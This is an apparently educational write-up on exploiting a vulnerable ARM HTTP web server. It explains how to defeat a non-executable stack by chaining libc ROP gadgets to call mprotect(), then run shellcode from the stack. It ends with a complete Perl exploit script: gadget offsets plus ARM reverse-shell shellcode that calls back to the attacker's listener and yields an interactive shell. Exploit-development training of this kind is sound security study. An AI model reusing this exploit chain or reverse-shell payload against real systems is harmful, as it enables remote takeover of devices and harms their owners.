ARM Exploitation — Defeating NX By Invoking mprotect() Using ROP
In this write-up, I will detail my walkthrough on exploiting a vulnerable HTTP web server with a non-executable stack using the return-to-libc attack. In addition, the exploit will leverage the Return-Oriented Programming (ROP) technique to chain gadgets found in the libc to (1) invoke mprotect() to modify the stack permission to allow for read/write/execute and (2) execute our shellcode from the stack.
What is Return-to-libc?
If you have done buffer overflow exercises before, you would have known that the technique is to overflow the program with an excessive number of characters, such that your payload overflows the program counter and the contents within the stack. The goal is to modify the program counter to jump to the stack address where the attacker’s shellcode is executed. However, if the program has its stack permission set to non-execute, this concept will not fly.

To overcome this issue, we can make use of the C standard library (‘libc’) to directly execute pre-existing functions (e.g. system, mprotect, etc.).
What is ROP?
Quoting from Wikipedia, ROP is a technique where an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on an endpoint.
A very good analogy I often refer to is a newspaper. Imagine the libc as a newspaper with tons of codes in it. Instead of executing the payload directly from the stack, the same can be achieved by executing the codes from the libc. We can extract (chain) these codes (gadgets) from different pages to perform our execution.

What I really enjoy about ROP is that there are multiple ways to achieve the same end goal. It forces me to think out of the box and piece different gadgets together. The concept is like a tangram, where there are many different pieces of shapes and sizes. The objective is to make use of specific pieces to fit nicely into the square border, which, could have many different possibilities.

The vulnerable HTTP web server
Like all other buffer overflow exercises, the first step is to identify the offset to the Program Counter ($PC) and the offset to the contents of the Stack Pointer ($SP). In Kali, we can invoke the ‘pattern_create.rb’ script to generate a unique pattern string which we can later use to identify the offset of these registers.
GET /Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A HTTP/1.0

When the program crashes, we can determine the offset by extracting the values stored in the $PC and the contents in the $SP.
Just a pointer to note, in ARM architecture, a program can change from ARM (4 bytes) to Thumb (2 bytes) and vice versa. It's $PC counter least significant bit will always be an even number (0). Assuming we are performing a typical buffer overflow with tons of ‘A’s which translates to 0x41, the $PC will be reflected as 0x41414140 (THUMB flag set to 0x1) instead of 0x41414141. Thus in this case, notice the THUMB flag is set, and thus, we have to add 1 to the $PC when using the ‘pattern_offset.rb’ tool in Kali.


To validate the results discovered, I modified the exploit script as follows:
#!/usr/bin/perl
$| = 1;$buf = “A” x 347;
$buf .= “B” x 4;
$buf .= “A” x 16;
$buf .= “D” x 50;
$uri = $buf;# URL Encode
$uri =~ s/([^A-Za-z0–9\/])/sprintf(“%%%02X”, ord($1))/seg;
$request = “GET /${uri} HTTP/1.0\n\n”;
print $request;


At this point of time, I have managed to overwrite the $PC and the contents within the $SP. However, I am still unable to execute the shellcodes in the stack. The next step is to invoke mprotect() in libc to modify the stack permissions.
What is mprotect()?
As described in the man page of Linux, mprotect is a function that modifies the permissions on a region of memory. It takes in three parameters:
- The starting address of the memory region.
- The length of the region. In short, where should the ending address be?
- The permission settings
(PROT_READ — 0x1, PROT_WRITE — 0x2, PROT_EXEC — 0x4, PROT_NONE — 0x0)

With information on the mprotect, the end goal was to ensure that the following registers are set with the following values prior to invoking the mprotect call.
- R0 = 0xbeffb000 (referencing to Figure 7, the $SP address is increasing starting from 0xbeffb3a8. Thus, it is safe to start from this address)
- R1 = 0x01010101 (Big enough length to fit our payload in the stack, with no null bytes in our codes)
- R2 = 0x0000007 (To allow for read, write and execute)
Finding relevant Gadgets from libc to set R0, R1, and R2
Here comes the fun part, to find gadgets from the ‘newspaper’ to set the register's value. I made use of the tool ‘Ropper’ on the extracted libc file ‘/lib/arm-linux-gnueabihf/libc-2.13.so’. It is important to search across both ARM and Thumb states for possible gadgets.


Below are some useful tips when using the search feature.
(libc-2.13.so/ELF/ARMTHUMB)> help search
search [/<quality>/] <string> — search gadgets./quality/ The quality of the gadget (1 = best). The better the quality the less instructions are between the found instruction and ret? any character% any string
Gadgets to set R1 = 0x01010101
I have decided to start off with finding gadgets for R1 and R2 as it more straightforward as compared to R0. In the entire exploit script, we have to make sure that no null byte (i.e. 0x00) exist in the payload, otherwise the exploit will not be successful.
Since I can control the contents of the stack, the simplest way is to look for a pop instruction that allows me to put the next value of the stack to R1. By doing a simple search, I found a gadget that does ‘pop {r1, pc}’. I can simply put the value of 0x01010101 into R1 and control the next return address to be placed into the program counter.


Gadgets to set R2 = 0x0000007
For R2, since I am unable to put null bytes into the stack (0x00000007), I had to look for gadgets that ‘mov’ immediate value of 7 into any register. Doing a search, I found a gadget that moves an immediate value of 7 to R0 and pop values of the stack into R4, R5, R6, PC.

Great! Now, I had to find a gadget that moves R0 value to R2. Doing a search on ‘mov r2, r0’ had no results. However, if we attempt to use ‘movs r2,r0’, there were tons of results returned.
*MOVS instruction performs the same operation as the MOV instruction, but also updates the N and Z flags.


Gadgets to set R0 = 0xbeffb000
Setting R0 is slightly trickier. For such a big address value, I had to make use of arithmetic operations (AND, ADD, SUB, EOR etc.) and at the same time, ensure that no null bytes exist. Thus, I had to devise on what are the possible means to achieve the desired results.
I attempted to search for ‘and’ operations and noticed that an instruction takes R0 and R3 and stores the value into R0. Subsequently, it branches into the link register.

In my mind, I did some calculation, if R0 = 0xbeffb010 AND R3 = 0xfffff001, that will result in 0xbeffb000. First, I needed to find a gadget that allows me to directly put these values in R0 and R3.

Secondly, I had to tackle the value in the link register (LR). I attempted to look for a gadget that can overwrite the LR with a value of my calling. Doing a simple search, I found a pop {lr} instruction which subsequently branches to the LR.

The easiest way was to define a pop {PC} instruction in the LR address as discovered in Figure 18, which will pop the next item in the stack to the PC if an instruction branches into LR.

Invoking mprotect & executing shell code in stack
The next step after setting the three register values is to call the mprotect function in libc. Similarly, we can identify the offset to mprotect by using the print command in GDB.

The last step after modifying the permissions of the stack permission is to jump to the Stack Pointer and executing the attacker’s shell code. By leveraging on the LR = pop {PC}, once mprotect returns to the caller function, it will then pop the latest instruction in the stack to the PC. Thus, we can set BX SP to be directly after mprotect, which will then execute the shell code.


Putting the pieces together
Now we have identified all our gadgets, it is time to put the pieces together.

As part of debugging, I placed junk address to crash the program prior to mprotect’s invocation to observe the values stored in R0, R1 and R2.

Similarly, I placed junk address to crash the program after mprotect’s invocation to observe the stack permissions changed to Read/Write/Execute as intended.

In my shell code, I placed a reverse shell payload. By setting a listener on my attacker’s machine, I obtained an interactive shell from the victim’s endpoint!

#!/usr/bin/perl$| = 1;$libc = 0xb6e9c000; # libc base
$shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\xc8\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
$buf = "A" x 347;
$buf .= pack("V", $libc + 0x1019d4); #pop {r1, pc}
$buf .= "C" x 16;
$buf .= pack("V", 0x01010101); # set r1
$buf .= pack("V", $libc + 0xd68ec); #mov r0, #7; pop {r4,r5,r6,pc}
$buf .= "A" x 4; # r4
$buf .= "B" x 4; # r5
$buf .= "D" x 4; # r6
$buf .= pack("V", $libc + 0xfe087); #mov r2, r0; pop {r4, pc}
$buf .= "A" x 4;
$buf .= pack("V", $libc + 0x75a69); #pop {r0, r3, pc}
$buf .= pack("V", 0xbeffb010); #r0
$buf .= pack("V", 0xfffff001); #r3
$buf .= pack("V", $libc + 0x3c420); #pop {lr}; add sp, sp, #4; bx lr;
$buf .= pack("V", $libc + 0x8cec5); #pop {pc};
$buf .= "A" x 4;
$buf .= pack("V", $libc + 0x64934); #and r0, r3, r0; bx lr;
$buf .= pack("V", $libc + 0xc70f0); #mprotect()
$buf .= pack("V", $libc + 0x5531); #bx sp;
$buf .= $shellcode;
$uri = $buf;# URL Encode
$uri =~ s/([^A-Za-z0-9\/])/sprintf("%%%02X", ord($1))/seg;$request = "GET /${uri} HTTP/1.0\n\n";
print $request;
All in all, what I shared was just one of the many methods to bypass an NX stack by invoking the mprotect() function. I really enjoyed ROP technique as it really requires me to plan ahead and to think about how different gadgets can work together. The most satisfying part is the completion of the entire exploit, where the shell code gets executed successfully to achieve the final desired result.